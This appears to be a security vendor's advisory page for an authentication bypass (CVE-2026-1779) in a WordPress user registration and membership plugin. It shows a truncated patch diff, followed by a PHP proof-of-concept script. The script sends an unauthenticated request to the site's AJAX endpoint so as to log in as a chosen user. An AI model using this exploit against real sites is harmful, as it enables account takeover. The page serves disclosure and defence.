+				update_option( 'ur_membership_db_version', '1.0.0' );
 			}
 		}

--- a/user-registration/modules/membership/includes/Admin/Controllers/MembersController.php
+++ b/user-registration/modules/membership/includes/Admin/Controllers/MembersController.php
@@ -104,7 +104,7 @@
 		if ( $validation['status'] ) {
 			$this->members->wpdb()->query( 'START TRANSACTION' ); // Start the transaction.
 			try {
-				$members_data = $members_service->prepare_members_data( $data );
+				$members_data = $members_service->prepare_members_data( $data, 'frontend' );

 				$member = $this->members->create( $members_data ); // first create the member themselves.
 				if ( $member->ID ) {
--- a/user-registration/modules/membership/includes/Admin/Database/Database.php
+++ b/user-registration/modules/membership/includes/Admin/Database/Database.php
@@ -99,7 +99,8 @@
 					  FOREIGN KEY (created_by) REFERENCES $users_table(ID) ON UPDATE NO ACTION,
 					  INDEX idx_user_id (user_id),
 					  INDEX idx_created_by (created_by),
-					  INDEX idx_order_type (order_type)
+					  INDEX idx_order_type (order_type),
+					  INDEX idx_transaction_id (transaction_id)
 					) $collate;
 					"
 		);
--- a/user-registration/modules/membership/includes/Admin/Forms/Views/admin-membership.php
+++ b/user-registration/modules/membership/includes/Admin/Forms/Views/admin-membership.php
@@ -99,7 +99,7 @@
 	</div>
 	<div class="ur-field" data-field-key="membership">
 		<span class="empty-urmg-label"<?php echo $empty_label_style; ?>>
-			<?php esc_html_e( 'Please select a membership group.', 'user-registration' ); ?>
+			<?php esc_html_e( 'No memberships found. Please create one or more memberships.', 'user-registration' ); ?>
 		</span>
 		<span class="urmg-loader"></span>
 		<div class="urmg-container">
--- a/user-registration/modules/membership/includes/Admin/Repositories/MembersOrderRepository.php
+++ b/user-registration/modules/membership/includes/Admin/Repositories/MembersOrderRepository.php
@@ -116,4 +116,19 @@
 		}
 		return false;
 	}
+
+	public function does_transaction_id_exists( $transaction_id ) {
+		global $wpdb;
+
+		$result = $wpdb->get_var(
+			$wpdb->prepare(
+				"SELECT id FROM {$this->table} WHERE transaction_id = %s LIMIT 1",
+				$transaction_id
+			)
+		);
+
+		return ! empty( $result );
+	}
+
+
 }
--- a/user-registration/modules/membership/includes/Admin/Repositories/MembershipRepository.php
+++ b/user-registration/modules/membership/includes/Admin/Repositories/MembershipRepository.php
@@ -111,31 +111,46 @@

 	public function get_multiple_membership_by_ID( $ids, $order = true ) {
 		global $wpdb;
+
+		if ( ! is_array( $ids ) ) {
+			$ids = explode( ',', $ids );
+		}
+
+		$ids = array_filter( array_map( 'absint', $ids ) );
+
+		if ( empty( $ids ) ) {
+			return [];
+		}
+
+		$placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) );
+
 		$sql = "
-				SELECT wpp.ID,
-				       wpp.post_title,
-				       wpp.post_content,
-				       wpp.post_status,
-				       wpp.post_type,
-				       wpm.meta_value
-				FROM $this->table wpp
-				         JOIN $this->posts_meta_table wpm on wpm.post_id = wpp.ID
-				WHERE wpm.meta_key = 'ur_membership'
-				  AND wpp.post_type = 'ur_membership'
-				  AND wpp.post_status = 'publish'
-				AND wpp.ID IN ($ids)
+			SELECT wpp.ID,
+				wpp.post_title,
+				wpp.post_content,
+				wpp.post_status,
+				wpp.post_type,
+				wpm.meta_value
+			FROM {$this->table} wpp
+			INNER JOIN {$this->posts_meta_table} wpm
+				ON wpm.post_id = wpp.ID
+			WHERE wpm.meta_key = 'ur_membership'
+			AND wpp.post_type = 'ur_membership'
+			AND wpp.post_status = 'publish'
+			AND wpp.ID IN ($placeholders)
 		";

 		if ( $order ) {
-			$sql .= 'ORDER BY 1 DESC';
+			$sql .= ' ORDER BY wpp.ID DESC';
+			$query_args = $ids;
 		} else {
-			$sql .= " ORDER BY FIELD(wpp.ID, $ids)";
+			$sql .= " ORDER BY FIELD(wpp.ID, $placeholders)";
+			$query_args = array_merge( $ids, $ids );
 		}

-		$memberships = $wpdb->get_results(
-			$sql,
-			ARRAY_A
-		);
+		$query = $wpdb->prepare( $sql, $query_args );
+
+		$memberships = $wpdb->get_results( $query, ARRAY_A );

 		$membership_service = new MembershipService();
 		return $membership_service->prepare_membership_data( $memberships );
--- a/user-registration/modules/membership/includes/Admin/Services/CouponService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/CouponService.php
@@ -33,7 +33,7 @@
 	public function set_coupon_response( $status, $code, $message, array $data = array() ) {
 		return array(
 			'status'  => $status,
-			'message' => esc_html__( $message, 'user-registration_membership' ),
+			'message' => esc_html__( $message, 'user-registration' ),
 			'data'    => wp_json_encode( $data ),
 			'code'    => $code,
 		);
--- a/user-registration/modules/membership/includes/Admin/Services/MembersService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/MembersService.php
@@ -2,6 +2,7 @@

 namespace WPEverestURMembershipAdminServices;

+use WPEverestURMembershipAdminRepositoriesMembershipGroupRepository;
 use WPEverestURMembershipAdminRepositoriesMembershipRepository;

 class MembersService {
@@ -103,7 +104,12 @@
 	 *
 	 * @return array
 	 */
-	public function prepare_members_data( $data ) {
+	public function prepare_members_data( $data, $context = 'admin' ) {
+		if ( 'frontend' === $context ) {
+			$membership_detail  = $this->membership_repository->get_single_membership_by_ID( absint( $data['membership'] ) );
+			$data['role']       = isset( $membership_detail['role'] ) ? sanitize_text_field( $membership_detail['role'] ) : 'subscriber';
+		}
+
 		$response         = array();
 		$response['role'] = isset( $data['role'] ) ? sanitize_text_field( $data['role'] ) : 'subscriber';

@@ -138,7 +144,7 @@
 			'user_status'   => isset( $data['member_status'] ) ? absint( $data['member_status'] ) : 1,
 		);

-		if ( isset( $data['membership'] ) ) {
+		if ( ! empty( $data['membership'] ) ) {
 			$membership_details          = $this->membership_repository->get_single_membership_by_ID( absint( $data['membership'] ) );
 			$membership_meta             = json_decode( $membership_details['meta_value'], true );
 			$response['role']            = isset( $membership_meta['role'] ) ? sanitize_text_field( $membership_meta['role'] ) : $response['role'];
@@ -230,21 +236,48 @@
 	 *
 	 * @return bool
 	 */
-	public function login_member( $user_id, $check_just_created ) {
-		$is_just_created = 'no';
+	public function login_member( $user_id, $check_just_created, $password = '' ) {
+		if ( empty( $user_id ) ) {
+			return false;
+		}
+
+		$user = get_user_by( 'ID', $user_id );
+		if ( ! $user ) {
+			return false;
+		}
+
+		$saved_hash = '';
 		if ( $check_just_created ) {
-			$is_just_created = get_user_meta( $user_id, 'urm_user_just_created', true );
+			$saved_hash = get_user_meta( $user_id, 'urm_user_just_created', true );
 		}

-		if ( 'yes' === $is_just_created ) {
-			delete_user_meta( $user_id, 'urm_user_just_created' );
-			wp_clear_auth_cookie();
-			$remember = apply_filters( 'user_registration_autologin_remember_user', false );
-			wp_set_auth_cookie( $user_id, $remember );
+		if ( empty( $password ) ) {
+
+			if ( empty( $saved_hash ) ) {
+				return false;
+			}
+
+			$expected_hash = hash_hmac(
+				'sha256',
+				(string) $user_id,
+				wp_salt( 'auth' )
+			);

-			return true;
+			if ( ! hash_equals( $expected_hash, $saved_hash ) ) {
+				return false;
+			}
 		} else {
-			return false;
+
+			if ( ! wp_check_password( $password, $user->user_pass, $user_id ) ) {
+				return false;
+			}
 		}
+
+		delete_user_meta( $user_id, 'urm_user_just_created' );
+		wp_clear_auth_cookie();
+		$remember = apply_filters( 'user_registration_autologin_remember_user', false );
+		wp_set_auth_cookie( $user_id, $remember );
+
+		return true;
 	}
 }
--- a/user-registration/modules/membership/includes/Admin/Services/MembershipService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/MembershipService.php
@@ -80,7 +80,7 @@
 	public function create_membership_order_and_subscription( $data ) {
 		try {
 			$this->members_repository->wpdb()->query( 'START TRANSACTION' ); // Start the transaction.
-			$members_data = $this->members_service->prepare_members_data( $data );
+			$members_data = $this->members_service->prepare_members_data( $data, 'frontend' );
 			$member       = get_user_by( 'login', $data['username'] );

 			// update user source and add membership_role
--- a/user-registration/modules/membership/includes/Admin/Services/Paypal/PaypalService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/Paypal/PaypalService.php
@@ -443,12 +443,14 @@
 		}

 		$login_option = ur_get_user_login_option( $member_id );
+		$data = apply_filters( 'user_registration_membership_before_register_member', isset( $_POST['members_data'] ) ? (array) json_decode( wp_unslash( $_POST['members_data'] ), true ) : array() );
+
 		if ( 'auto_login' === $login_option ) {
 			$member_service = new MembersService();
-			$member_service->login_member( $member_id, true );
+			$password        = isset( $data['password'] ) ? $data['password'] : '';
+			$member_service->login_member( $member_id, true, $password );
 		}
-
-		update_user_meta( $member_id, 'urm_user_just_created', true );
+		delete_user_meta( $member_id, 'urm_user_just_created' );
 		ur_membership_redirect_to_thank_you_page( $member_id, $member_order );
 	}

@@ -976,6 +978,7 @@
 			);
 			$email_service->send_email( $email_data, 'payment_retry_failed' );
 		}
+		delete_user_meta( $member_id, 'urm_user_just_created' );
 	}

 	/**
--- a/user-registration/modules/membership/includes/Admin/Services/Stripe/StripeService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/Stripe/StripeService.php
@@ -75,6 +75,19 @@
 	}

 	/**
+	 * Default for webhook registration.
+	 *
+	 * @return string[]
+	 */
+	public static function get_handled_webhook_events() {
+		return array(
+			'invoice.payment_succeeded',
+			'invoice.payment_failed',
+			'payment_intent.payment_failed',
+		);
+	}
+
+	/**
 	 * Create webhook endpoint in Stripe for a given mode.
 	 *
 	 * @param string $mode 'test' or 'live'.
@@ -116,20 +129,13 @@

 		try {
 			StripeStripe::setApiKey( $secret_key );
-			$webhook_url = rest_url( 'user-registration/stripe-webhook' );
-			$webhook     = StripeWebhookEndpoint::create(
+			$webhook_url   = rest_url( 'user-registration/stripe-webhook' );
+			$default_events = self::get_handled_webhook_events();
+			$enabled_events = apply_filters( 'urm_stripe_webhook_enabled_events', $default_events, $mode );
+			$webhook       = StripeWebhookEndpoint::create(
 				array(
 					'url'            => $webhook_url,
-					'enabled_events' => array(
-						'checkout.session.completed',
-						'payment_intent.succeeded',
-						'payment_intent.payment_failed',
-						'invoice.paid',
-						'invoice.payment_failed',
-						'customer.subscription.created',
-						'customer.subscription.updated',
-						'customer.subscription.deleted',
-					),
+					'enabled_events' => array_values( array_filter( (array) $enabled_events ) ),
 					'api_version'    => '2023-10-16',
 				)
 			);
@@ -579,8 +585,39 @@
 			'status' => true,
 		);

+			$stripe_settings = self::get_stripe_settings();
+
+			if ( empty( $stripe_settings['secret_key'] ) ) {
+				$response['status']  = false;
+				$response['message'] = __( 'Stripe secret key is not configured.', 'user-registration' );
+
+				return $response;
+			}
+
+			StripeStripe::setApiKey( $stripe_settings['secret_key'] );
+
+			$pi_id = sanitize_text_field( ! empty( $data['payment_result']['paymentIntent']['id'] ) ? $data['payment_result']['paymentIntent']['id'] : '' );
+
+			$intent = StripePaymentIntent::retrieve( $pi_id );
+
+			if ( $intent->status !== 'succeeded' ) {
+				$response['status']  = false;
+				$response['message'] = __( 'Payment not completed.', 'user-registration' );
+
+				return $response;
+			}
+
+			$payment_status =  $intent->status;
+
 		$latest_order = $this->members_orders_repository->get_member_orders( $member_id );

+		if ( $this->members_orders_repository->does_transaction_id_exists( $transaction_id ) ) {
+			$response['status']  = false;
+			$response['message'] = __( 'Duplicate transaction id.', 'user-registration' );
+
+			return $response;
+		}
+
 		if ( empty( $latest_order ) ) {
 			PaymentGatewayLogging::log_error(
 				'stripe',
@@ -1204,7 +1241,7 @@
 				$this->sendEmail( $member_order['ID'], $member_subscription, $membership_metas, $member_id, $response );

 				$response['subscription'] = $subscription;
-				$response['message']      = __( 'New member has been successfully created with successful stripe subscription.' );
+				$response['message']      = __( 'New member has been successfully created with successful stripe subscription.', 'user-registration' );
 				$response['status']       = true;
 			} elseif ( 'incomplete' === $subscription_status ) {
 				PaymentGatewayLogging::log_general(
@@ -1429,14 +1466,25 @@
 		if ( isset( $event['id'] ) ) {
 			try {
 				$event_id = sanitize_text_field( $event['id'] );
-				$event    = (array) StripeEvent::retrieve( $event_id );
+				$retrieved_event    = (array) StripeEvent::retrieve( $event_id );
 			} catch ( Exception $e ) {
+				PaymentGatewayLogging::log_webhook_received(
+					'stripe',
+					$e->getMessage(),
+					array(
+						'webhook_type'    => 'invoice.payment_failed',
+						'subscription_id' => $subscription_id,
+						'event_id'        => $event['id'] ?? 'unknown',
+					)
+				);
+
 				die();
 			}
 		} else {
 			die();
 		}
 		switch ( $event['type'] ) {
+			case 'invoice.paid':
 			case 'invoice.payment_succeeded':
 				$this->handle_succeeded_invoice( $event, $subscription_id );
 				break;
@@ -1568,6 +1616,8 @@
 				'membership_type'     => $membership_type,
 			)
 		);
+		delete_user_meta( $member_id, 'urm_user_just_created' );
+
 	}

 	public function handle_failed_invoice( $event, $subscription_id ) {
@@ -1624,6 +1674,8 @@
 				'member_id'       => $member_id,
 			)
 		);
+		delete_user_meta( $member_id, 'urm_user_just_created' );
+
 	}

 	public function handle_failed_payment_intent( $event ) {
@@ -1658,6 +1710,8 @@
 				)
 			);
 		}
+		delete_user_meta( $order['user_id'], 'urm_user_just_created' );
+
 	}

 	public function validate_setup() {
--- a/user-registration/modules/membership/includes/Admin/Services/SubscriptionService.php
+++ b/user-registration/modules/membership/includes/Admin/Services/SubscriptionService.php
@@ -772,7 +772,13 @@
 	public function run_daily_delayed_membership_subscriptions() {
 		$all_delayed_orders = $this->orders_repository->get_all_delayed_orders( date( 'Y-m-d 00:00:00' ) );

-		ur_get_logger()->notice( __( 'Scheduled Subscriptions job started for the date: (' . date( 'd F,Y' ) . ')', 'user-registration' ), array( 'source' => 'urm-membership-crons' ) );
+		ur_get_logger()->notice(
+			sprintf(
+				__( 'Scheduled Subscriptions job started for the date: (%s)', 'user-registration' ),
+				date( 'd F,Y' )
+			),
+			array( 'source' => 'urm-membership-crons' )
+		);

 		if ( empty( $all_delayed_orders ) ) {
 			ur_get_logger()->notice( __( 'No delayed orders found.', 'user-registration' ), array( 'source' => 'urm-membership-crons' ) );
@@ -810,7 +816,13 @@
 			}
 		}

-		ur_get_logger()->notice( __( 'Subscription updated for ' . implode( ',', $updated_subscription_for_users ), 'user-registration' ), array( 'source' => 'urm-membership-crons' ) );
+		ur_get_logger()->notice(
+			sprintf(
+				__( 'Subscription updated for %s', 'user-registration' ),
+				implode( ',', $updated_subscription_for_users )
+			),
+			array( 'source' => 'urm-membership-crons' )
+		);
 	}

 	/**
@@ -1054,7 +1066,13 @@
 		$check_date    = $date->format( 'Y-m-d H:i:s' );
 		$subscriptions = $this->members_subscription_repository->get_subscriptions_to_expire( $check_date );
 		if ( empty( $subscriptions ) ) {
-			ur_get_logger()->notice( __( 'No memberships found to expire for date: ' . $check_date, 'user-registration' ), array( 'source' => 'urm-membership-expiration' ) );
+			ur_get_logger()->notice(
+				sprintf(
+					__( 'No memberships found to expire for date: %s', 'user-registration' ),
+					$check_date
+				),
+				array( 'source' => 'urm-membership-expiration' )
+			);
 			return;
 		}

--- a/user-registration/modules/membership/includes/Admin/Subscriptions/ListTable.php
+++ b/user-registration/modules/membership/includes/Admin/Subscriptions/ListTable.php
@@ -214,7 +214,7 @@
 			</p>
 			<div id="user-registration-list-search-form">
 				<?php
-				$placeholder = __( 'Search Subscription', 'user-registration' );
+				$placeholder = __( 'Search member or email', 'user-registration' );
 				UR_Base_Layout::display_search_field( $search_id, $placeholder );
 				?>
 				</div>
--- a/user-registration/modules/membership/includes/Admin/Views/Partials/membership-create-basics-tab.php
+++ b/user-registration/modules/membership/includes/Admin/Views/Partials/membership-create-basics-tab.php
@@ -185,6 +185,11 @@
 				</select>
 			</div>

+
+			<?php
+			do_action( 'ur_membership_team_membership', $membership, $membership_details );
+			?>
+
 			<!-- Payment Settings Notice -->
 			<div id="ur-membership-payment-settings-notice"
 				 class="<?php echo isset( $membership_details['type'] ) && in_array( $membership_details['type'], array(
@@ -207,10 +212,6 @@
 			require __DIR__ . '/membership-admin-payments.php';
 		endif;
 		?>
-
-		<?php
-			do_action( 'ur_membership_team_membership', $membership, $membership_details );
-		?>
 	</div>
 </div>

--- a/user-registration/modules/membership/includes/Templates/membership-registration-form.php
+++ b/user-registration/modules/membership/includes/Templates/membership-registration-form.php
@@ -401,7 +401,7 @@
 				<?php
 			endforeach;
 		else :
-			$message = wp_kses_post( apply_filters( 'user_registration_membership_no_membership_message', __( 'No membership's group selected.', 'user-registration' ) ) );
+			$message = wp_kses_post( apply_filters( 'user_registration_membership_no_membership_message', __( 'No memberships found to display.', 'user-registration' ) ) );
 			echo '<label data-form-id="' . absint( $form_id ) . '"  class="user-registration-error no-membership">' . $message . '</label>';
 		endif;
 		?>
@@ -527,7 +527,7 @@
 						>
 						<span class="ur-membership-duration">
 						<img
-							src="<?php echo esc_url( plugins_url( 'assets/images/settings-icons/membership-field/' . strtolower( $g ) . '-logo.png', UR_PLUGIN_FILE ) ); ?>"
+							src="<?php echo esc_url( apply_filters( 'user_registration_membership_payment_gateway_logo_url', plugins_url( 'assets/images/settings-icons/membership-field/' . strtolower( $g ) . '-logo.png', UR_PLUGIN_FILE ), $g, $gateway ) ); ?>"
 							alt="<?php echo esc_attr( $gateway ); ?>"
 							class="ur-membership-payment-gateway-logo"
 							width="<?php echo isset( $width_map[ strtolower( $g ) ] ) ? $width_map[ strtolower( $g ) ] : '60px'; ?>"
--- a/user-registration/modules/payment-history/Admin/OrderService.php
+++ b/user-registration/modules/payment-history/Admin/OrderService.php
@@ -73,12 +73,12 @@
 		if ( ! isset( $data['order_id'] ) ) {
 			$this->response['status']  = false;
 			$this->response['code']    = 422;
-			$this->response['message'] = __( 'Field Order ID is required.' );
+			$this->response['message'] = __( 'Field Order ID is required.', 'user-registration' );

 		} elseif ( $data['order_id'] == 0 && ! isset( $data['user_id'] ) ) {
 			$this->response['status']  = false;
 			$this->response['code']    = 422;
-			$this->response['message'] = __( 'Field User ID is required.' );
+			$this->response['message'] = __( 'Field User ID is required.', 'user-registration' );
 		}

 		return $this->response;
--- a/user-registration/templates/form-registration.php
+++ b/user-registration/templates/form-registration.php
@@ -377,7 +377,7 @@
 				?>
 				<input type="hidden" name="ur-registration-language" value="<?php echo esc_attr( $current_language ); ?>"/>
 				<input type="hidden" name="ur-user-form-id" value="<?php echo absint( $form_id ); ?>"/>
-				<input type="hidden" name="ur-redirect-url" value="<?php echo esc_url( ur_string_translation( $form_id, 'user_registration_form_setting_redirect_options', $redirect_url ) ); ?>"/>
+				<input type="hidden" name="ur-redirect-url" value="<?php echo ! empty( $redirect_url ) ? esc_url( ur_string_translation( $form_id, 'user_registration_form_setting_redirect_options', $redirect_url ) ) : ''; ?>"/>
 				<?php wp_nonce_field( 'ur_frontend_form_id-' . $form_id, 'ur_frontend_form_nonce', false ); ?>

 				<?php
--- a/user-registration/user-registration.php
+++ b/user-registration/user-registration.php
@@ -4,7 +4,7 @@
  * Plugin Name: User Registration & Membership
  * Plugin URI: https://wpuserregistration.com/
  * Description: The most flexible User Registration and Membership plugin for WordPress.
- * Version: 5.1.2
+ * Version: 5.1.3
  * Author: WPEverest
  * Author URI: https://wpuserregistration.com
  * Text Domain: user-registration
@@ -37,7 +37,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '5.1.2';
+		public $version = '5.1.3';

 		/**
 		 * Session instance.
@@ -169,6 +169,8 @@
 			$this->define( 'UR_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
 			$this->define( 'UR_VERSION', $this->version );
 			$this->define( 'UR_TEMPLATE_DEBUG_MODE', false );
+			$this->define( 'UR_TEMPLATE_PATH', UR_ABSPATH . 'templates/' );
+			$this->define( 'UR_ASSET_PATH', plugins_url( 'assets/', UR_PLUGIN_FILE ) );
 			$this->define( 'UR_FORM_PATH', UR_ABSPATH . 'includes' . UR_DS . 'form' . UR_DS );
 			$this->define( 'UR_SESSION_CACHE_GROUP', 'ur_session_id' );
 			$this->define( 'UR_PRO_ACTIVE', false );
@@ -211,6 +213,44 @@
 		 */
 		private function includes() {

+			if ( file_exists( __DIR__ . '/vendor/autoload.php' ) ) {
+				require_once __DIR__ . '/vendor/autoload.php';
+			} else {
+				if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
+					error_log( // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+						sprintf(
+							/* translators: 1: composer command. 2: plugin directory */
+							esc_html__( 'Your installation of the User Registration is incomplete. Please run %1$s within the %2$s directory.', 'user-registration' ),
+							'`composer install`',
+							'`' . esc_html( str_replace( ABSPATH, '', __DIR__ ) ) . '`'
+						)
+					);
+				}
+
+				/**
+				 * Outputs an admin notice if composer install has not been ran.
+				 */
+				add_action(
+					'admin_notices',
+					function () {
+						?>
+					<div class="notice notice-error">
+						<p>
+							<?php
+							printf(
+								/* translators: 1: composer command. 2: plugin directory */
+								esc_html__( 'Your installation of the  User Registration is incomplete. Please run %1$s within the %2$s directory.', 'user-registration' ),
+								'<code>composer install</code>',
+								'<code>' . esc_html( str_replace( ABSPATH, '', __DIR__ ) ) . '</code>'
+							);
+							?>
+						</p>
+					</div>
+						<?php
+					}
+				);
+			}
+
 			/**
 			 * Class autoloader.
 			 */
@@ -295,12 +335,6 @@
 				include_once UR_ABSPATH . 'modules/payment-history/Orders.php';
 			}

-			// Check if there are membership rules (>= 2)
-			$membership_rules_count = 0;
-			if ( function_exists( 'ur_get_membership_rules_count' ) ) {
-				$membership_rules_count = ur_get_membership_rules_count();
-			}
-
 			include_once UR_ABSPATH . 'modules/content-restriction/user-registration-content-restriction.php';

 			if ( ur_check_module_activation( 'membership' ) && ur_check_module_activation( 'content-restriction' ) && ur_check_module_activation( 'content-drip' ) ) {
--- a/user-registration/vendor/autoload.php
+++ b/user-registration/vendor/autoload.php
@@ -1,22 +0,0 @@
-<?php
-
-// autoload.php @generated by Composer
-
-if (PHP_VERSION_ID < 50600) {
-    if (!headers_sent()) {
-        header('HTTP/1.1 500 Internal Server Error');
-    }
-    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
-    if (!ini_get('display_errors')) {
-        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
-            fwrite(STDERR, $err);
-        } elseif (!headers_sent()) {
-            echo $err;
-        }
-    }
-    throw new RuntimeException($err);
-}
-
-require_once __DIR__ . '/composer/autoload_real.php';
-
-return ComposerAutoloaderInit25d840391da1fa16bfd9d10aa09cca2b::getLoader();
--- a/user-registration/vendor/composer/ClassLoader.php
+++ b/user-registration/vendor/composer/ClassLoader.php
@@ -1,579 +0,0 @@
-<?php
-
-/*
- * This file is part of Composer.
- *
- * (c) Nils Adermann <naderman@naderman.de>
- *     Jordi Boggiano <j.boggiano@seld.be>
- *
- * For the full copyright and license information, please view the LICENSE
- * file that was distributed with this source code.
- */
-
-namespace ComposerAutoload;
-
-/**
- * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
- *
- *     $loader = new ComposerAutoloadClassLoader();
- *
- *     // register classes with namespaces
- *     $loader->add('SymfonyComponent', __DIR__.'/component');
- *     $loader->add('Symfony',           __DIR__.'/framework');
- *
- *     // activate the autoloader
- *     $loader->register();
- *
- *     // to enable searching the include path (eg. for PEAR packages)
- *     $loader->setUseIncludePath(true);
- *
- * In this example, if you try to use a class in the SymfonyComponent
- * namespace or one of its children (SymfonyComponentConsole for instance),
- * the autoloader will first look for the class under the component/
- * directory, and it will then fallback to the framework/ directory if not
- * found before giving up.
- *
- * This class is loosely based on the Symfony UniversalClassLoader.
- *
- * @author Fabien Potencier <fabien@symfony.com>
- * @author Jordi Boggiano <j.boggiano@seld.be>
- * @see    https://www.php-fig.org/psr/psr-0/
- * @see    https://www.php-fig.org/psr/psr-4/
- */
-class ClassLoader
-{
-    /** @var Closure(string):void */
-    private static $includeFile;
-
-    /** @var string|null */
-    private $vendorDir;
-
-    // PSR-4
-    /**
-     * @var array<string, array<string, int>>
-     */
-    private $prefixLengthsPsr4 = array();
-    /**
-     * @var array<string, list<string>>
-     */
-    private $prefixDirsPsr4 = array();
-    /**
-     * @var list<string>
-     */
-    private $fallbackDirsPsr4 = array();
-
-    // PSR-0
-    /**
-     * List of PSR-0 prefixes
-     *
-     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
-     *
-     * @var array<string, array<string, list<string>>>
-     */
-    private $prefixesPsr0 = array();
-    /**
-     * @var list<string>
-     */
-    private $fallbackDirsPsr0 = array();
-
-    /** @var bool */
-    private $useIncludePath = false;
-
-    /**
-     * @var array<string, string>
-     */
-    private $classMap = array();
-
-    /** @var bool */
-    private $classMapAuthoritative = false;
-
-    /**
-     * @var array<string, bool>
-     */
-    private $missingClasses = array();
-
-    /** @var string|null */
-    private $apcuPrefix;
-
-    /**
-     * @var array<string, self>
-     */
-    private static $registeredLoaders = array();
-
-    /**
-     * @param string|null $vendorDir
-     */
-    public function __construct($vendorDir = null)
-    {
-        $this->vendorDir = $vendorDir;
-        self::initializeIncludeClosure();
-    }
-
-    /**
-     * @return array<string, list<string>>
-     */
-    public function getPrefixes()
-    {
-        if (!empty($this->prefixesPsr0)) {
-            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
-        }
-
-        return array();
-    }
-
-    /**
-     * @return array<string, list<string>>
-     */
-    public function getPrefixesPsr4()
-    {
-        return $this->prefixDirsPsr4;
-    }
-
-    /**
-     * @return list<string>
-     */
-    public function getFallbackDirs()
-    {
-        return $this->fallbackDirsPsr0;
-    }
-
-    /**
-     

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1779 - User Registration & Membership <= 5.1.2 - Authentication Bypass

<?php

$target_url = 'https://vulnerable-site.com';

// Step 1: Identify a recently registered user ID with a membership.
// This could be done by enumerating user IDs or triggering a registration.
$victim_user_id = 123; // Replace with target user ID

// Step 2: Craft the exploit request to the AJAX endpoint.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$post_data = array(
    'action' => 'register_member',
    'members_data' => json_encode(array(
        'user_id' => $victim_user_id,
        'email' => 'victim@example.com',
        'membership' => 'premium', // Membership type from the form
        'payment_method' => 'free', // Often required for the flow
        'form_response' => array('auto_login' => true) // Trigger auto-login
    ))
);

// Step 3: Send the unauthenticated request.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Step 4: Execute the attack.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 5: Check for success.
echo "HTTP Code: $http_coden";
echo "Response: $responsen";

// A successful exploit will log the attacker in as the victim user.
// The response may contain a redirect or success message.
// The attacker's session is now authenticated as the victim.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School